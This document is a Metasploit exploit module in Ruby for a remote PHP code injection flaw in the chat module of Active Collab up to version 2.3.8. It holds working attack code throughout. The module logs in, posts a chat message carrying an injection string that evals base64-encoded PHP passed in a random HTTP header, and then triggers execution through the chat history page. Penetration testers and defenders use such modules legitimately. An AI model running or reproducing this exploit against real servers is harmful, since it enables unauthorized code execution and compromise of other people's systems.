## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit', 'Description' => %q{ This module exploits an arbitrary code injection vulnerability in the chat module that is part of Active Collab by abusing a preg_replace() using the /e modifier and its replacement string using double quotes. The vulnerable function can be found in activecollab/application/modules/chat/functions/html_to_text.php. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me ', # vuln discovery & msf module ], 'References' => [ ['OSVDB', '81966'], ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'], ], 'Privileged' => false, 'Payload' => { 'Keys' => ['php'], 'Space' => 4000, 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'May 30 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]), OptString.new('USER',[true, "The username (e-mail) to authenticate with"]), OptString.new('PASS',[true, "The password to authenticate with"]) ],self.class) end def check login_path = "public/index.php?path_info=login&re_route=homepage" uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}" cms = send_request_raw({'uri' => uri}, 25) uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/' chat = send_request_raw({'uri' => uri}, 25) # cant detect the version here if (cms and cms.body =~ /powered by activeCollab/) # detect the chat module if (chat and chat.code == 200) return Exploit::CheckCode::Vulnerable end end return Exploit::CheckCode::Safe end def exploit user = datastore['USER'] pass = datastore['PASS'] p = Rex::Text.encode_base64(payload.encoded) header = rand_text_alpha_upper(3) login_uri = datastore['URI'] login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login' # login res = send_request_cgi({ 'method' => 'POST', 'uri' => login_uri, 'vars_post' => { 'login[email]' => user, 'login[password]' => pass, 'submitted' => "submitted", } }, 40) # response handling if res and res.code == 302 if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/) acsession = $1 end elsif res and res.body =~ /Failed to log you in/ print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}") elsif res and res.code != 200 or res.code != 302 print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})") end # injection iuri = datastore['URI'] iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php' iuri << "?path_info=chat/add_message&async=1" phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}" injection = "\");#{phpkode}" cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}" res = send_request_cgi({ 'method' => 'POST', 'uri' => iuri, 'headers' => { 'cookie' => cookies }, 'vars_post' => { 'submitted' => "submitted", 'message[message_text]' => injection, 'message[chat_id]' => "1", 'message[posted_to_user_id]' => "all" } }, 25) euri = datastore['URI'] euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php' euri << "?path_info=/chat/history/1" # execution res = send_request_cgi({ 'method' => 'POST', 'uri' => euri, 'headers' => { header => p, 'cookie' => cookies } }) end end